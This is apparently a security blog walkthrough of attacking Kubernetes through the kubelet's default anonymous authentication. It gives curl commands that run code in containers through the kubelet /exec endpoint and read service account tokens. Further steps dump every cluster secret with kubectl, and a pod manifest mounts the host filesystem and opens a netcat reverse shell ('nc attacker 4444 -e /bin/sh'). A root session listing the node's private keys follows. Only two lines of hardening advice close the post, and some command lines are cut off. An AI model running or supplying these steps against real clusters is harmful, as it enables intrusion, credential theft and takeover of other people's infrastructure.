Attacking Kubernetes through Kubelet

This post discusses abusing the kubelet default configuration to gain privileged access to the kube-apiserver on a Kubernetes cluster. This can also lead to code execution on the nodes.

Architecture Overview

The image below shows a high-level overview of Kubernetes' architecture:

kubernetes architecture

The inner workings of Kubernetes are quite involved and this article will not discuss them in detail. As a brief overview of the relevant bits:

  • Human administrators talk to the "API Server" on a master node. The canonical name for this service is kube-apiserver and communication is done over a RESTful API (usually abstracted with the CLI tool kubectl).
  • Communication between the kube-apiserver on the master and kubelet services on the worker nodes is bi-directional. This communication also happens over REST APIs.
  • "Pods" (logical groupings of one or more containers) run on the worker nodes. The kube-apiserver holds the information that allows each kubelet to determine what it should be running.

Authentication between the various components is ideally done over mutual TLS.

However, each pod is assigned a Service Account by default; the Service Account in question and the extent of the privileges are configurable. These service accounts allow various services to interact with the kube-apiserver by using a Bearer token.

Objective and Environment

Attackers may wish to gain authenticated access to the kube-apiserver. This could allow them to, for example, read secrets or gain access to services in the cluster. This can also lead to code execution on the underlying node machines, facilitating wider lateral movement.

For this scenario we will assume that administrative authentication to the kube-apiserver is properly secured using mutual TLS authentication, but that kubelet was deployed unhardened on the worker nodes. Due to a lack of network segregation in the setup, the kubelet APIs are accessible to an attacker over the network on the default port 10250/TCP.

Default kubelet Authentication

The Kubernetes documentation states that kubelet defaults to a mode that allows anonymous authentication:

  Enables anonymous requests to the Kubelet server. Requests that are not
    rejected by another authentication method are treated as anonymous
    requests. Anonymous requests have a username of system:anonymous,
    and a group name of system:unauthenticated. (default true)

Anonymous authentication provides full access to the kubelet API, the only requirement being network access to the service.

kubelet API

While the kubelet API is not documented, it's straightforward to grep the source for available endpoints. These include:

  • /pods - lists running pods
  • /exec - runs a command in a container and returns a link to view the output.

Other API endpoints not relevant to this post allow port forwarding, fetching logs and viewing metrics.

Getting Pods

A simple GET request to /pods will list pods and their containers:

$ curl -ks https://worker:10250/pods
  "kind": "PodList",
  "apiVersion": "v1",
  "metadata": {},
  "items": [
      "metadata": {
        "name": "tiller-797d1b1234-gb6qt",
        "generateName": "tiller-797d1b1234-",
        "namespace": "kube-system",
      "spec": {
        "containers": [
            "name": "tiller",
            "image": "x/tiller:2.5.1",
            "ports": [
                "name": "tiller",
                "containerPort": 44134,
                "protocol": "TCP"
        "serviceAccountName": "tiller",
        "serviceAccount": "tiller",

Running Commands in Containers

A template request to run a command in a container is shown below:

$ curl -Gks https://worker:10250/exec/{namespace}/{pod}/{container} \
  -d 'input=1' -d 'output=1' -d 'tty=1'                             \
  -d 'command=ls' -d 'command=/'

It should be noted that the command is passed as an array (split by spaces) and that the above is a GET request.

Target {namespace}, {pod} and {container} values can be obtained from the /pods endpoint as shown in the previous section. For example, to run ls / in the tiller container the request would be:

$ curl -Gks https://worker:10250/exec/kube-system/tiller-797d1b1234-gb6qt/tiller \
  -d 'input=1' -d 'output=1' -d 'tty=1'                                          \
  -d 'command=ls' -d 'command=/'

<a href="/cri/exec/CLgtq03G">Found</a>.

The request returns 302 redirect with a link to a stream that should be read with a WebSocket.

The author's kubelet-anon-rce script automates issuing a command and streaming the response:

$ python3           \
          --node worker                 \
          --namespace kube-system       \
          --pod tiller-797d1b1234-gb6qt \
          --container tiller            \
          --exec "ls /"

bin  etc   lib      mnt  proc  run   selinux  sys  usr
dev  home  lib64  opt  root  sbin  srv        tmp  var

Obtaining Service Account Tokens

The Kubernetes documentation states that pods are assigned a Service Account by default:

When you create a pod, if you do not specify a service account,
it is automatically assigned the default service account in the
same namespace. [...]

You can access the API from inside a pod using automatically
mounted service account credentials, as described in Accessing
the Cluster. The API permissions of the service account depend
on the authorization plugin and policy in use.

Following the "Accessing the Cluster" link shows that tokens are mounted at the following path:


The token for the tiller Service Account can thus be retrieved by using the kubelet API /exec endpoint to print it out:

$ python3           \
          --node worker                 \
          --namespace kube-system       \
          --pod tiller-797d1b1234-gb6qt \
          --container tiller            \
          --exec "cat /var/run/secrets/"


kube-apiserver Authentication

The token can be used to authenticate to the kube-apiserver API. This service will usually listen on 6443/TCP on master nodes.

Interaction with the API through curl is straightforward:

$ curl -ks -H "Authorization: Bearer <TOKEN>" \

A more elegant solution is to use kubectl directly:

$ kubectl --insecure-skip-tls-verify=true  \
          --server="https://master:6443"   \
          --token="<TOKEN>"                \
          get secrets --all-namespaces -o json

The example above fetches Base64 encoded secrets configured in the cluster.

Note that because of differences in HTTP headers that the kube-apiserver expects to see, it may be necessary to download a version of kubectl that matches the target Kubernetes cluster. The cluster's version can be obtained by hitting the /version endpoint. Corresponding kubectl binaries can then be fetched by modifying the version in the request below:

$ curl -LO

Access to the Nodes

Access to an underlying node's filesystem can be obtained by mounting the node's root directory into a container deployed in a pod.

The following deployment, node-access.yaml, mounts the host node's filesystem to /host in a container that spawns a reverse shell back to an attacker:

apiVersion: v1
kind: Pod
  name: test
  - name: busybox
    image: busybox:1.29.2
    command: ["/bin/sh"]
    args: ["-c", "nc attacker 4444 -e /bin/sh"]
    - name: host
      mountPath: /host
  - name: host
      path: /
      type: Directory

This can be deployed with the following command:

$ kubectl --insecure-skip-tls-verify=true  \
          --server="https://master:6443"   \
          --token="<TOKEN>"                \
          create -f node-access.yaml

While not technically RCE on the node, a remote containerized shell with access to the filesystem will in many cases lead to RCE.

Access to the host filesystem could also be used to read private keys used to communicate with other Kubernetes components:

$ nc -lvp 4444
listening on [any] 4444 ...
connect to [attacker] from node [worker] 34746
# id
uid=0(root) gid=0(root) groups=10(wheel)
# ls -lah /host/etc/pki
total 32
drwxr-xr-x    1 root     root         256 May 26  2018 .
drwxr-xr-x    1 root     root         302 May 26  2018 ..
-rw-r--r--    1 root     root        2.3K May 26  2018 kube-proxy.crt
-r--r--r--    1 root     root        3.2K May 26  2018 kube-proxy.key
-rw-r--r--    1 root     root        2.3K May 26  2018 kubectl-client-cert.crt
-r--r--r--    1 root     root        3.2K May 26  2018 kubectl-client-cert.key
-rw-r--r--    1 root     root        2.3K May 26  2018 kubelet.crt
-r--r--r--    1 root     root        3.2K May 26  2018 kubelet.key
-rw-r--r--    1 root     root        2.3K May 26  2018 minion.crt
-r--r--r--    1 root     root        3.2K May 26  2018 minion.key
drwx------    1 root     root         210 May 26  2018 private
drwxr-xr-x    1 root     root          14 Oct 23  2017 trust

It should be noted that with the method above, the attacker has no direct control over which node in the cluster he will gain access to: the Kubernetes Scheduler will allocate the pod to a node based on resource availability in the cluster at that point.

Privileges and Privilege Escalation

The tiller pod attacked in this scenario is a good target to get a token with high privileges on the kube-apiserver as Tiller is a component of Helm, a package manager for Kubernetes.

Given the nature of the service, Tiller requires high privileges and the Helm docs suggest assigning the cluster-admin role to its Service Account.

If a high-privileged Service Account is not available, an attacker may consider obtaining any token with "create pod" privileges in a given namespace. The attacker could then proceed to create pods with any other target Service Account token from the namespace mounted, thus gaining those privileges. Alternatively tokens with the desired privileges, such as "read secrets", may be readily available.

The API can provide a lot of information about roles and service accounts available in given namespaces:

$ curl -ks https://master:6443/apis/


The kubelet service should be run with --anonymous-auth false and the service should be segregated at the network level.

It is also recommended to ensure that all Service Accounts have the least privileges needed for their tasks.